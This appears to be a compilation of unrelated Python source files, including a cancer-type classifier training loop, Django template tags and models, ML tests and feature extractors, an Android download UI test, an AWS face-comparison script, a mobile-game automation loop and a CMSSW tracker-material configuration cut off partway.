alphas = [0.1, 0.13, 0.15, 0.2, 0.25, 0.3]
l1_ratios = [0.15, 0.16, 0.2, 0.25, 0.3, 0.4]
# Load data to build y matrices
base_url = "https://github.com/greenelab/pancancer/raw"
commit = "2a0683b68017fb226f4053e63415e4356191734f"
# Load data
file = "{}/{}/data/sample_freeze.tsv".format(base_url, commit)
sample_freeze_df = pd.read_table(file, index_col=0)
file = "{}/{}/data/mutation_burden_freeze.tsv".format(base_url, commit)
mut_burden_df = pd.read_table(file, index_col=0)
# Track total metrics for each cancer-type in one file
count_list = []
metric_cols = [
"auroc",
"aupr",
"gene_or_cancertype",
"signal",
"z_dim",
"seed",
"algorithm",
"data_type",
]
# Obtain a dictionary of file directories for loading each feature matrix (X)
z_matrix_dict = build_feature_dictionary()
# Provide one vs all classifications for all 33 different cancertypes in TCGA
for acronym in sample_freeze_df.DISEASE.unique():
# Create list to store cancer-type specific results
cancertype_auc_list = []
cancertype_aupr_list = []
cancertype_coef_list = []
cancertype_metrics_list = []
# Create directory for the cancer-type
cancertype_dir = os.path.join("results", "cancer-type", acronym)
os.makedirs(cancertype_dir, exist_ok=True)
y_df, count_df = process_y_matrix_cancertype(
acronym=acronym,
sample_freeze=sample_freeze_df,
mutation_burden=mut_burden_df,
hyper_filter=5,
)
# Track the status counts of all classifiers
count_list.append(count_df)
# Check if cancer-type has been processed already
check_file = os.path.join(cancertype_dir, "{}_coefficients.tsv.gz".format(acronym))
if check_status(check_file):
continue
# Now, perform all the analyses for each X matrix
for signal in z_matrix_dict.keys():
z_dim_dict = z_matrix_dict[signal]
for z_dim in z_dim_dict.keys():
seed_z_dim_dict = z_dim_dict[z_dim]
for seed in seed_z_dim_dict.keys():
z_train_file = z_matrix_dict[signal][z_dim][seed]["train"]
z_test_file = z_matrix_dict[signal][z_dim][seed]["test"]
for alg in algorithms:
# Load and process data
train_samples, x_train_df, y_train_df = align_matrices(
x_file_or_df=z_train_file,
y=y_df,
add_cancertype_covariate=False,
algorithm=alg,
)
test_samples, x_test_df, y_test_df = align_matrices(
x_file_or_df=z_test_file,
y=y_df,
add_cancertype_covariate=False,
algorithm=alg,
)
# Train the model
print(
"Training model... cancer-type: {}, "
"algorithm: {}, signal: {}, z_dim: {}, "
"seed: {}".format(acronym, alg, signal, z_dim, seed)
)
# Fit the model
cv_pipeline, y_pred_train_df, y_pred_test_df, y_cv_df = train_model(
x_train=x_train_df,
x_test=x_test_df,
y_train=y_train_df,
alphas=alphas,
l1_ratios=l1_ratios,
n_folds=folds,
max_iter=max_iter,
)
# Get metric predictions
y_train_results = get_threshold_metrics(
y_train_df.status, y_pred_train_df, drop=False
)
y_test_results = get_threshold_metrics(
y_test_df.status, y_pred_test_df, drop=False
)
y_cv_results = get_threshold_metrics(
y_train_df.status, y_cv_df, drop=False
)
# Get coefficients
coef_df = extract_coefficients(
cv_pipeline=cv_pipeline,
feature_names=x_train_df.columns,
signal=signal,
z_dim=z_dim,
seed=seed,
algorithm=alg,
)
coef_df = coef_df.assign(acronym=acronym)
# Store all results
train_metrics_, train_roc_df, train_pr_df = summarize_results(
results=y_train_results,
gene_or_cancertype=acronym,
signal=signal,
z_dim=z_dim,
seed=seed,
algorithm=alg,
data_type="train",
)
test_metrics_, test_roc_df, test_pr_df = summarize_results(
results=y_test_results,
gene_or_cancertype=acronym,
signal=signal,
z_dim=z_dim,
seed=seed,
algorithm=alg,
data_type="test",
)
cv_metrics_, cv_roc_df, cv_pr_df = summarize_results(
results=y_cv_results,
gene_or_cancertype=acronym,
signal=signal,
z_dim=z_dim,
seed=seed,
algorithm=alg,
data_type="cv",
)
# Compile summary metrics
metrics_ = [train_metrics_, test_metrics_, cv_metrics_]
metric_df_ = pd.DataFrame(metrics_, columns=metric_cols)
cancertype_metrics_list.append(metric_df_)
auc_df = pd.concat([train_roc_df, test_roc_df, cv_roc_df])
cancertype_auc_list.append(auc_df)
aupr_df = pd.concat([train_pr_df, test_pr_df, cv_pr_df])
cancertype_aupr_list.append(aupr_df)
cancertype_coef_list.append(coef_df)
cancertype_auc_df = pd.concat(cancertype_auc_list)
cancertype_aupr_df = pd.concat(cancertype_aupr_list)
cancertype_coef_df = pd.concat(cancertype_coef_list)
cancertype_metrics_df = pd.concat(cancertype_metrics_list)
file = os.path.join(
cancertype_dir, "{}_auc_threshold_metrics.tsv.gz".format(acronym)
)
cancertype_auc_df.to_csv(
file, sep="\t", index=False, compression="gzip", float_format="%.5g"
)
file = os.path.join(
cancertype_dir, "{}_aupr_threshold_metrics.tsv.gz".format(acronym)
)
cancertype_aupr_df.to_csv(
file, sep="\t", index=False, compression="gzip", float_format="%.5g"
)
cancertype_coef_df.to_csv(
check_file, sep="\t", index=False, compression="gzip", float_format="%.5g"
)
file = os.path.join(cancertype_dir, "{}_classify_metrics.tsv.gz".format(acronym))
cancertype_metrics_df.to_csv(
file, sep="\t", index=False, compression="gzip", float_format="%.5g"
)
# Write out a combined status matrix as well
final_count_list_df = pd.concat(count_list)
file = os.path.join("results", "all_cancertype_status_counts.tsv")
final_count_list_df.to_csv(file, sep="\t", index=False)
|
from django import template
from django.contrib.contenttypes.models import ContentType
from django.urls import reverse
from ..forms import CommentForm
from ..hooks import hookset
from ..models import Comment
register = template.Library()
@register.filter
def can_edit_comment(comment, user):
return hookset.load_can_edit(user, comment)
@register.filter
def can_delete_comment(comment, user):
return hookset.load_can_delete(user, comment)
@register.simple_tag
@register.filter
def comment_count(object):
"""
Usage:
{% comment_count obj %}
or
{% comment_count obj as var %}
"""
return Comment.objects.filter(
object_id=object.pk,
content_type=ContentType.objects.get_for_model(object)
).count()
@register.simple_tag
def comments(object):
"""
Usage:
{% comments obj as var %}
"""
return Comment.objects.filter(
object_id=object.pk,
content_type=ContentType.objects.get_for_model(object)
)
@register.simple_tag(takes_context=True)
def comment_form(context, object):
"""
Usage:
{% comment_form obj as comment_form %}
Will read the `user` var out of the contex to know if the form should be
form an auth'd user or not.
"""
user = context.get("user")
form_class = context.get("form", CommentForm)
form = form_class(obj=object, user=user)
return form
@register.simple_tag
def comment_target(object):
"""
Usage:
{% comment_target obj [as varname] %}
"""
return reverse("pinax_comments:post_comment", kwargs={
"content_type_id": ContentType.objects.get_for_model(object).pk,
"object_id": object.pk
})
|
from abc import ABCMeta, abstractmethod
class Book(object, metaclass=ABCMeta):
def __init__(self, title, author):
self.title = title
self.author = author
@abstractmethod
def display(): pass
# Write MyBook class
class MyBook(Book):
def __init__(self, title, author, price):
super().__init__(title, author)
self.price = price
def display(self):
print("Title: " + self.title)
print("Author: " + self.author)
print("Price: " + str(self.price))
title = input()
author = input()
price = int(input())
new_novel = MyBook(title, author, price)
new_novel.display()
|
import sys, os
sys.path.insert(1, os.path.join("..","..",".."))
import h2o
from tests import pyunit_utils
from h2o.estimators.deeplearning import H2OAutoEncoderEstimator
from h2o.estimators.random_forest import H2ORandomForestEstimator
def deeplearning_autoencoder():
resp = 784
nfeatures = 20 # number of features (smallest hidden layer)
train_hex = h2o.upload_file(pyunit_utils.locate("bigdata/laptop/mnist/train.csv.gz"))
train_hex[resp] = train_hex[resp].asfactor()
test_hex = h2o.upload_file(pyunit_utils.locate("bigdata/laptop/mnist/test.csv.gz"))
test_hex[resp] = test_hex[resp].asfactor()
# split data into two parts
sid = train_hex[0].runif(1234)
# unsupervised data for autoencoder
train_unsupervised = train_hex[sid >= 0.5]
train_unsupervised.drop(resp)
train_unsupervised.describe()
# supervised data for drf
train_supervised = train_hex[sid < 0.5]
train_supervised.describe()
# train autoencoder
ae_model = H2OAutoEncoderEstimator(activation="Tanh",
hidden=[nfeatures],
epochs=1,
reproducible=True,
seed=1234)
ae_model.train(range(resp), training_frame=train_supervised)
# conver train_supervised with autoencoder to lower-dimensional space
train_supervised_features = ae_model.deepfeatures(train_supervised[0:resp]._frame(), 0)
assert train_supervised_features.ncol == nfeatures, "Dimensionality of reconstruction is wrong!"
train_supervised_features = train_supervised_features.cbind(train_supervised[resp])
# Train DRF on extracted feature space
drf_model = H2ORandomForestEstimator(ntrees=10, min_rows=10, seed=1234)
drf_model.train(x=range(20), y=train_supervised_features.ncol-1, training_frame=train_supervised_features)
# Test the DRF model on the test set (processed through deep features)
test_features = ae_model.deepfeatures(test_hex[0:resp]._frame(), 0)
test_features = test_features.cbind(test_hex[resp])._frame()
# Confusion Matrix and assertion
cm = drf_model.confusion_matrix(test_features)
cm.show()
# 10% error +/- 0.001
assert abs(cm.cell_values[10][10] - 0.081) <= 0.01, "Error. Expected 0.081, but got {0}".format(cm.cell_values[10][10])
if __name__ == "__main__":
pyunit_utils.standalone_test(deeplearning_autoencoder)
else:
deeplearning_autoencoder()
|
"""
Mixin class to help in flow inspection
"""
from unittest import TestCase
from google.protobuf.json_format import MessageToDict
from jsonpatch import make_patch
from simplejson import dumps
class FlowHelpers(TestCase):
# ~~~~~~~~~~~~~~~~~~~~~~~~~ HELPER METHODS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def assertFlowsEqual(self, flow1, flow2):
if flow1 != flow2:
self.fail('flow1 %s differs from flow2; differences: \n%s' % (
dumps(MessageToDict(flow1), indent=4),
self.diffMsgs(flow1, flow2)))
def diffMsgs(self, msg1, msg2):
msg1_dict = MessageToDict(msg1)
msg2_dict = MessageToDict(msg2)
diff = make_patch(msg1_dict, msg2_dict)
return dumps(diff.patch, indent=2)
|
import glob
import numpy as np
from PIL import Image
from keras import Model
from keras.layers import GlobalAveragePooling2D, GlobalMaxPooling2D
from keras.applications.vgg19 import VGG19
from keras.applications.resnet50 import ResNet50
from keras.applications.inception_v3 import InceptionV3
def get_filenames(glob_pattern, recursive=True):
"""Extracts list of filenames (full paths) based on specific glob path pattern.
Parameters
----------
glob_pattern : str
Glob pattern for glob to extract filenames, eg. "directory/**/*.jpg"
recursive : bool, optional
Recursively search through subdirectories, by default True
Returns
-------
list
List of file paths
"""
all_files = glob.glob(glob_pattern, recursive=recursive)
print('Found %s files using pattern: %s' % (len(all_files), glob_pattern))
return all_files
def expand2square(pil_img, background_color):
"""Function to pad an image to square using specific bg clr.
Parameters
----------
pil_img : PIL.Image
Pillow Image object that should be processed
background_color : int
Integer value representing bg color
Returns
-------
PIL.Image
Square-padded image object
"""
width, height = pil_img.size
if width == height:
return pil_img
elif width > height:
result = Image.new(pil_img.mode, (width, width), background_color)
result.paste(pil_img, (0, (width - height) // 2))
return result
else:
result = Image.new(pil_img.mode, (height, height), background_color)
result.paste(pil_img, ((height - width) // 2, 0))
return result
def get_images(filenames, target_size=(200,200), color='RGB', bg_clr=0):
"""Reads image files from provided file paths list, applies square-padding,
resizes all images into target size and returns them as a single numpy array
Parameters
----------
filenames : list
List of image file paths
target_size : tuple, optional
Target size for all the images to be resized to, by default (200,200)
color : str, optional
Color mode strategy for PIL when loading images, by default 'RGB'
bg_clr : int, optional
Integer representing background color used for square-padding, by default 0
Returns
-------
numpy.array
Numpy array with resized images
"""
imgs_list = []
for filename in filenames:
img = Image.open(filename).convert(color)
im_square = expand2square(img, bg_clr)
im_res = im_square.resize(target_size)
imgs_list.append(np.array(im_res))
return np.asarray(imgs_list)
def create_feat_extractor(base_model, pooling_method='avg'):
"""Creates a features extractor based on the provided base network.
Parameters
----------
base_model : keras.Model
Base network for feature extraction
pooling_method : str, optional
Pooling method that will be used as the last layer, by default 'avg'
Returns
-------
keras.Model
Ready to use feature extractor
"""
assert pooling_method in ['avg', 'max']
x = base_model.output
if pooling_method=='avg':
x = GlobalAveragePooling2D()(x)
elif pooling_method=='max':
x = GlobalMaxPooling2D()(x)
model = Model(input=base_model.input, output=[x])
return model
def extract_features(imgs_np, pretrained_model="resnet50", pooling_method='avg'):
"""Takes in an array of fixed size images and returns features/embeddings
returned by one of the selected pretrained networks.
Parameters
----------
imgs_np : numpy.array
Numpy array of images
pretrained_model : str, optional
Name of the pretrained model to be used, by default "resnet50"
['resnet50', 'inception_v3', 'vgg19']
pooling_method : str, optional
Defines the last pooling layer that should be applied, by default 'avg'
['avg', 'max']
Returns
-------
numpy.array
Array of embeddings vectors. Each row represents embeddings for single input image
"""
print('Input images shape: ', imgs_np.shape)
pretrained_model = pretrained_model.lower()
assert pretrained_model in ['resnet50', 'inception_v3', 'vgg19']
assert pooling_method in ['avg', 'max']
model_args={
'weights': 'imagenet',
'include_top': False,
'input_shape': imgs_np[0].shape
}
if pretrained_model=="resnet50":
base = ResNet50(**model_args)
from keras.applications.resnet50 import preprocess_input
elif pretrained_model=="inception_v3":
base = InceptionV3(**model_args)
from keras.applications.inception_v3 import preprocess_input
elif pretrained_model=="vgg19":
base = VGG19(**model_args)
from keras.applications.vgg19 import preprocess_input
feat_extractor = create_feat_extractor(base, pooling_method=pooling_method)
imgs_np = preprocess_input(imgs_np)
embeddings_np = feat_extractor.predict(imgs_np)
print('Features shape: ', embeddings_np.shape)
return embeddings_np
# if __name__ == "__main__":
# filenames = get_filenames("101_ObjectCategories//**//*.*")
# imgs_np = get_images(filenames, target_size=(200,200), color='RGB', bg_clr=0)
# embeddings = extract_features(imgs_np, pretrained_model="resnet50")
|
import logging
import socket
import time
import adb
from .. import app_test
logger = logging.getLogger(__name__)
class App(app_test.AppTest):
"""
Start the Vagrant virtual machine on the same machine running the script,
before running the test
"""
def __init__(self, **kwargs):
super().__init__(
'com.tachibana.downloader', '.ui.main.MainActivity', **kwargs)
self.grant_permissions(
['READ_EXTERNAL_STORAGE', 'WRITE_EXTERNAL_STORAGE'])
ip = socket.getaddrinfo(socket.getfqdn(), None)[0][4][0]
self._download_link = f'{ip}:8080/100MB.bin'
def actions(self):
adb.shell(['rm', '/sdcard/Download/100MB.bin'], check=False)
self.may_start_profiler()
time.sleep(1)
self.find_element_by_res_id('add_fab').click()
time.sleep(1)
self.find_element_by_res_id('link').send_keys(self._download_link)
self.find_element_by_res_id('button1', 'android').click()
time.sleep(2)
self.find_element_by_res_id('button2', 'android').click()
time.sleep(22)
self.driver.find_element_by_accessibility_id('Completed').click()
time.sleep(1)
status = self.find_element_by_res_id('status')
if '100 MB' not in status.text:
raise ValueError('Download file size is', status.text)
time.sleep(1)
self.may_stop_profiler()
|
#!/usr/bin/env python3
import pprint
import boto3
# Set this to whatever percentage of 'similarity'
# you'd want
SIMILARITY_THRESHOLD = 75.0
if __name__ == '__main__':
client = boto3.client('rekognition')
# Our source image: http://i.imgur.com/OK8aDRq.jpg
with open('/Users/janae/data/elvisPMs_last100/Gordon_Brown/9242386.jpg', 'rb') as source_image:
source_bytes = source_image.read()
# Our target image: http://i.imgur.com/Xchqm1r.jpg
with open('/Users/janae/data/elvisPMs_last100/Gordon_Brown/8892637.jpg', 'rb') as target_image:
target_bytes = target_image.read()
response = client.compare_faces(
SourceImage={ 'Bytes': source_bytes },
TargetImage={ 'Bytes': target_bytes },
SimilarityThreshold=SIMILARITY_THRESHOLD
)
pprint.pprint(response)
|
from django.db import models
from django.contrib.auth.models import User
class Role(models.Model):
id_role = models.AutoField(primary_key=True)
name = models.CharField(max_length=32)
weight = models.IntegerField(default=0)
class Meta:
db_table = 'eff_role'
class UserRole(models.Model):
id_userrole = models.AutoField(primary_key=True)
user = models.ForeignKey(User, db_column='id_user')
role = models.ForeignKey(Role, db_column='id_role')
class Meta:
db_table = 'eff_userrole'
|
# ------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# -------------------------------------------------------------------------
from ._servicebus_sender_async import ServiceBusSender
from ._servicebus_receiver_async import ServiceBusReceiver
from ._servicebus_session_async import ServiceBusSession
from ._servicebus_client_async import ServiceBusClient
from ._async_auto_lock_renewer import AutoLockRenewer
__all__ = [
"ServiceBusClient",
"ServiceBusSender",
"ServiceBusReceiver",
"ServiceBusSession",
"AutoLockRenewer",
]
|
import os
import argparse
from solver import Solver
from data_loader import get_audio_loader
def main(config):
assert config.mode in {'TRAIN', 'TEST'},\
'invalid mode: "{}" not in ["TRAIN", "TEST"]'.format(config.mode)
if not os.path.exists(config.model_save_path):
os.makedirs(config.model_save_path)
if config.mode == 'TRAIN':
data_loader = get_audio_loader(config.audio_path,
config.subset,
config.batch_size,
tr_val = 'train',
split = config.split)
valid_loader = get_audio_loader(config.audio_path,
config.subset,
config.batch_size,
tr_val='validation',
split = config.split)
solver = Solver(data_loader, valid_loader, config)
solver.train()
elif config.mode == 'TEST':
data_loader = get_audio_loader(config.audio_path,
config.subset,
config.batch_size,
tr_val = 'test',
split = config.split)
solver = Solver(data_loader, None, config)
solver.test()
if __name__ == '__main__':
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--batch_size', type=int, default=32)
parser.add_argument('--mode', type=str, default='TRAIN')
parser.add_argument('--model_save_path', type=str, default='./models')
parser.add_argument('--audio_path', type=str, default='/home')
parser.add_argument('--split', type=int, default=0)
parser.add_argument('--subset', type=str, default='all')
config = parser.parse_args()
print(config)
main(config)
|
# -*- encoding=utf8 -*-
__author__ = "TinyZ"
from tdydxc_game import do_endless_abyss, do_fetch_daily_task_reward, do_monster_iland
from GameHelper.core.airtest.cvex import AirImage
from GameHelper.core.helper.utility import Utility
from GameHelper.core.helper.nav import Node, NodeEnum
from GameHelper.core.util.ciede2000 import ciede2000
from airtest.core.api import *
from airtest.core.cv import loop_find
from airtest.aircv import *
from GameHelper.core.helper.images import get_pixel_color, hex_to_rgb, rgb_to_hex, screen_snapshot
from tdydxc import *
import tdydxc_map
from tdydxc_battle import *
from game_util import *
# 用户配置
class TdydxcConfig(object):
game_scene_start = None
# 初心试炼 - 挖掘场 - 噩梦模式 - 第一层
def __init__(self) -> None:
self.game_scene_start = (1, 3, 2, 1)
pass
def __repr__(self) -> str:
return "(TdydxcConfig: {})".format(self.__dict__)
pass
tdydxc_config = TdydxcConfig()
tdydxc_actions = [
do_monster_iland,
do_endless_abyss,
do_fetch_daily_task_reward,
]
while True:
try:
for action in tdydxc_actions:
action()
pass
except Exception as e:
Utility.LOGGER.warn("执行任务失败. %s", e)
pass
pass
# import time
# snapshot(msg="请填写测试点.", filename="aaa-{}.png".format(time.time()))
do_fetch_daily_task_reward()
# touch(Template(r"tpl1616073759155.png", record_pos=(-0.079, 0.475), resolution=(720, 1280)))
# # 初心试炼 - 挖掘场 - 噩梦模式 - 第一层
# # on_select_battle_map(1, 3, 2, 1)
# on_select_battle_map(2, 3, 1, 1)
# # aircv.show_origin_size(snapshot_mini_map())
# on_battle_change_bonfire()
# sleep(3)
# on_auto_battle()
aircv.show_origin_size(snapshot_mini_map())
###############################################
## 自动选择关卡 ###
###############################################
# 搜索右上角小地图. 确定黑色不可行动的区域. 12*12
# lookup(, (530, 30, 720, 190))
# print(loop_find(Template(r"tpl1616404376736.png", record_pos=(0.438, -0.751), resolution=(720, 1280))))
# print(loop_find(Template(r"tpl1616404431747.png", record_pos=(0.365, -0.751), resolution=(720, 1280))))
# print(loop_find(Template(r"tpl1616404419462.png", record_pos=(0.324, -0.797), resolution=(720, 1280))))
|
import FWCore.ParameterSet.Config as cms
# Material effects to be simulated in the tracker material and associated cuts
TrackerMaterialBlock = cms.PSet(
TrackerMaterial = cms.PSet(
use_hardcoded_geometry = cms.bool(True),
disk_thickness = cms.vdouble(0.058,0.058,0.04,0.04,0.055,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05,0.05),
disk_inner_radius = cms.vdouble(5.82585,5.82585,22.7005,22.7005,22.7005,23.3726,23.3726,23.3726,32.1214,32.1214,32.1214,39.2102,39.2102,50.4201),
disk_outer_radius = cms.vdouble(14.5978,14.5978,50.4389,50.4389,50.4389,109.521,109.521,109.521,109.521,109.521,109.521,109.521,109.521,109.521),
disk_z = cms.vdouble(35.5,48.5,79.2,92.15,105.1,131.892,145.892,159.892,173.892,187.892,205.392,224.379,244.879,266.379),
barrel_thickness = cms.vdouble(0.0217,0.0217,0.0217,0.053,0.053,0.035,0.04,0.03,0.03,0.022,0.022,0.022,0.022),
barrel_radius = cms.vdouble(4.41058,7.30732,10.1726,25.7514,34.0888,41.9601,49.8925,60.9234,69.309,78.0686,86.8618,96.5557,108.05),
barrel_length = cms.vdouble(53.38,53.38,53.38,130.595,132.554,132.554,132.78,217.419,217.419,217.419,217.419,217.419,217.419),
# version 0 = Tracker geometry used between CMSSW_1_2_0 and CMSSW_1_4_10. Works for CSA07;
# version 1 = Tuned to CMSSW_1_7_0 geometry
# version 2 = Tuned to CMSSW_1_8_0 geometry
# version 3 = Tuned to CMSSW_3_0_0 geometry
# version 4 = Tuned to CMSSW_3_1_2 and CMSSW_3_3_0 geometries
TrackerMaterialVersion = cms.uint32(4),
#**********************************************************************
# Thickness of all (sensitive and dead) layers in x/X0
#**********************************************************************
# Beam Pipe
BeamPipeThickness = cms.vdouble(0.0038, 0.00265, 0.00265, 0.00265, 0.00240 ),
# Pixel Barrel Layers 1-3
PXBThickness = cms.vdouble(0.0222, 0.0217, 0.0217, 0.0217, 0.0217),
# Pixel Barrel services at the end of layers 1-3
PXB1CablesThickness = cms.vdouble(0.1, 0.042, 0.042, 0.000, 0.000),
PXB2CablesThickness = cms.vdouble(0.04, 0.042, 0.042, 0.000, 0.000),
PXB3CablesThickness = cms.vdouble(0.03, 0.042, 0.042, 0.000, 0.000),
# Pixel Barrel outside cables
PXBOutCables1Thickness = cms.vdouble(0.04, 0.04, 0.04, 0.04, 0.04),
PXBOutCables2Thickness = cms.vdouble(0.025, 0.015, 0.015, 0.012, 0.012),
# Pixel Disks 1-2
PXDThickness = cms.vdouble(0.044, 0.058, 0.058, 0.058, 0.058),
# Pixel Endcap outside cables
PXDOutCables1Thickness = cms.vdouble(0.023, 0.034, 0.034, 0.050, 0.050),
PXDOutCables2Thickness = cms.vdouble(0.085, 0.185, 0.250, 0.250, 0.250),
# Tracker Inner barrel layers 1-4
TIBLayer1Thickness = cms.vdouble(0.06, 0.053, 0.053, 0.053, 0.053),
TIBLayer2Thickness = cms.vdouble(0.047, 0.053, 0.053, 0.053, 0.053),
TIBLayer3Thickness = cms.vdouble(0.035, 0.035, 0.035, 0.035, 0.035),
TIBLayer4Thickness = cms.vdouble(0.033, 0.04, 0.04, 0.04, 0.04),
# TIB outside services (endcap)
TIBOutCables1Thickness = cms.vdouble(0.04, 0.108, 0.108, 0.130, 0.130),
TIBOutCables2Thickness = cms.vdouble(0.04, 0.0, 0.0, 0.0, 0.0),
# Tracker Inner disks layers 1-3
TIDLayer1Thickness = cms.vdouble(0.05, 0.04, 0.04, 0.04, 0.04),
TIDLayer2Thickness = cms.vdouble(0.05, 0.04, 0.04, 0.04, 0.04),
TIDLayer3Thickness = cms.vdouble(0.05, 0.055, 0.055, 0.055, 0.055),
# TID outside wall (endcap)
TIDOutsideThickness = cms.vdouble(0.07, 0.074, 0.074, 0.074, 0.074),
# TOB inside wall (barrel)
TOBInsideThickness = cms.vdouble(0.017, 0.009, 0.009, 0.009, 0.009),
# Tracker Outer barrel layers 1-6
TOBLayer1Thickness = cms.vdouble(0.044, 0.03, 0.03, 0.03, 0.03),
TOBLayer2Thickness = cms.vdouble(0.044, 0.03, 0.03, 0.03, 0.03),
TOBLayer3Thickness = cms.vdouble(0.033, 0.022, 0.022, 0.022, 0.022),
TOBLayer4Thickness = cms.vdouble(0.033, 0.022, 0.022, 0.022, 0.022),
TOBLayer5Thickness = cms.vdouble(0.033, 0.022, 0.022, 0.022, 0.022),
TOBLayer6Thickness = cms.vdouble(0.033, 0.022, 0.022, 0.022, 0.022),
# TOB services (endcap)
TOBOutsideThickness = cms.vdouble(0.09, 0.15, 0.15, 0.15, 0.15),
# Tracker EndCap disks layers 1-9
TECLayerThickness = cms.vdouble(0.041, 0.045, 0.045, 0.050, 0.050),
# TOB outside wall (barrel)
BarrelCablesThickness = cms.vdouble(0.1, 0.038, 0.038, 0.042, 0.042),
# TEC outside wall (endcap)
EndcapCables1Thickness = cms.vdouble(0.26, 0.21, 0.21, 0.21, 0.21),
EndcapCables2Thickness = cms.vdouble(0.08, 0.0, 0.0, 0.0, 0.0),
#**********************************************************************
# Position of dead material layers (cables, services, etc.)
#**********************************************************************
# Beam pipe
BeamPipeRadius = cms.vdouble(3.0, 3.0, 3.0, 3.0, 3.0),
BeamPipeLength = cms.vdouble(26.4, 28.3, 28.3, 28.3, 28.3),
# Cables and Services at the end of PIXB1,2,3 ("disk")
PXB1CablesInnerRadius = cms.vdouble(3.6, 3.7, 3.7, 3.7, 3.7),
PXB2CablesInnerRadius = cms.vdouble(6.1, 6.3, 6.3, 6.3, 6.3),
PXB3CablesInnerRadius = cms.vdouble(8.5, 9.0, 9.0, 9.0, 9.0),
# Pixel Barrel Outside walls and cables (endcap)
PXBOutCables1InnerRadius = cms.vdouble(11.9, 11.9, 11.9, 4.2, 4.2),
PXBOutCables1OuterRadius = cms.vdouble(15.5, 15.5, 15.5, 16.5, 16.5),
PXBOutCables1ZPosition = cms.vdouble(27.999, 28.799, 28.799, 28.799, 28.799),
PXBOutCables2InnerRadius = cms.vdouble(3.8, 3.8, 3.8, 3.8, 3.8),
PXBOutCables2OuterRadius = cms.vdouble(16.5, 16.5, 16.5, 16.5, 16.5),
PXBOutCables2ZPosition = cms.vdouble(28.0, 28.8, 28.8, 28.8, 28.8),
# Pixel Outside walls and cables (barrel and endcap)
PixelOutCablesRadius = cms.vdouble(17.1, 17.5, 17.5, 17.5, 17.5),
PixelOutCablesLength = cms.vdouble(64.8, 72.0, 72.0, 65.0, 65.0),
PixelOutCablesInnerRadius = cms.vdouble(3.0, 3.0, 7.197, 7.2, 6.5),
PixelOutCablesOuterRadius = cms.vdouble(17.3, 17.61, 17.61, 17.61, 17.61),
PixelOutCablesZPosition = cms.vdouble(64.9, 72.1, 72.1, 65.1, 65.1),
# Tracker Inner Barrel Outside Cables and walls (endcap)
TIBOutCables1InnerRadius = cms.vdouble(22.5, 22.5, 22.5, 22.5, 22.5),
TIBOutCables1OuterRadius = cms.vdouble(53.9, 53.9, 53.9, 53.9, 53.9),
TIBOutCables1ZPosition = cms.vdouble(75.001, 74.0, 74.0, 74.0, 74.0),
TIBOutCables2OuterRadius = cms.vdouble(53.901, 53.901, 53.901, 53.901, 53.901),
TIBOutCables2InnerRadius = cms.vdouble(35.5, 35.5, 35.5, 35.5, 35.5),
TIBOutCables2ZPosition = cms.vdouble(75.001, 74.001, 74.001, 74.001, 74.001),
# Tracker Inner Disks Outside Cables and walls (endcap)
TIDOutCablesInnerRadius = cms.vdouble(32.0, 22.0, 22.0, 22.0, 22.0),
TIDOutCablesZPosition = cms.vdouble(108.0, 108.0, 108.0, 108.0, 108.0),
# Tracker outer barrel Inside wall (barrel)
TOBInCablesRadius = cms.vdouble(54.5, 54.5, 54.6, 54.6, 54.6),
TOBInCablesLength = cms.vdouble(108.2, 108.2, 108.2, 108.2, 108.2),
# Tracker Outer Barrel Outside Cables and walls (barrel and endcap)
TOBOutCablesInnerRadius = cms.vdouble(55.0, 55.0, 55.0, 55.0, 55.0),
TOBOutCablesOuterRadius = cms.vdouble(109.5, 111.0, 111.0, 111.0, 111.0),
TOBOutCablesZPosition = cms.vdouble(110.0, 115.0, 115.0, 115.0, 115.0),
TOBOutCablesRadius = cms.vdouble(119.5, 119.5, 119.5, 119.5, 119.5),
TOBOutCablesLength = cms.vdouble(299.9, 299.9, 299.9, 299.9, 299.9),
# Tracker Endcaps Outside Cables and walls (endcaps)
TECOutCables1InnerRadius = cms.vdouble(6.0, 30.0, 4.42, 4.42, 4.42),
TECOutCables1OuterRadius = cms.vdouble(120.001, 120.001, 120.001, 120.001, 120.001),
TECOutCables1ZPosition = cms.vdouble(300.0, 300.0, 300.0, 300.0, 300.0),
TECOutCables2InnerRadius = cms.vdouble(70.0, 68.0, 68.0, 68.0, 68.0),
TECOutCables2OuterRadius = cms.vdouble(120.001, 120.001, 120.001, 120.001, 120.001),
TECOutCables2ZPosition = cms.vdouble(300.0, 300.0, 300.0, 300.0, 300.0),
#*********************************************************************
# Fudge factor to reproduce the layer inhomgeneties
# Tuned to 170 only.
#*********************************************************************
# Layer number (hard-coded in TrackerInteractionGeometry.cc)
# Convention is < 100 for sensitive layer, > 100 for dead material
# (although this convention is used nowhere...)
FudgeLayer = cms.vuint32(
104, # Pixel Barrel services
104, # Pixel Barrel services
104, # Pixel Barrel services
104, # Pixel Barrel services
104, # Pixel Barrel services
104, # Pixel Barrel services
104, # Pixel Barrel services
106, # Pixel wall
106, # Pixel wall
107, # Pixel endcap services
107, # Pixel endcap services
107, # Pixel endcap services
6, # TIB1 services
7, # TIB2 services
8, # TIB3 services
9, # TIB4 services
10, # TID Layer 1
11, # TID Layer 2
12, # TID Layer 3
110, # TID outside services
110, # TID outside services
111, # TOB inside services
111, # TOB inside services
13, # TOB Layer1
13, # TOB Layer1
13, # TOB Layer1
13, # TOB Layer1
14, # TOB Layer2
14, # TOB Layer2
14, # TOB Layer2
14, # TOB Layer2
15, # TOB Layer3
15, # TOB Layer3
15, # TOB Layer3
15, # TOB Layer3
16, # TOB Layer4
16, # TOB Layer4
16, # TOB Layer4
16, # TOB Layer4
17, # TOB Layer5
17, # TOB Layer5
17, # TOB Layer5
17, # TOB Layer5
18, # TOB Layer6
18, # TOB Layer6
18, # TOB Layer6
18, # TOB Layer6
112, # TOB services
112, # TOB services
112, # TOB services
19, # TEC Layer 1
19, # TEC Layer 1
19, # TEC Layer 1
20, # TEC Layer 2
20, # TEC Layer 2
20, # TEC Layer 2
21, # TEC Layer 3
21, # TEC Layer 3
21, # TEC Layer 3
22, # TEC Layer 4
22, # TEC Layer 4
22, # TEC Layer 4
23, # TEC Layer 5
23, # TEC Layer 5
23, # TEC Layer 5
24, # TEC Layer 6
24, # TEC Layer 6
24, # TEC Layer 6
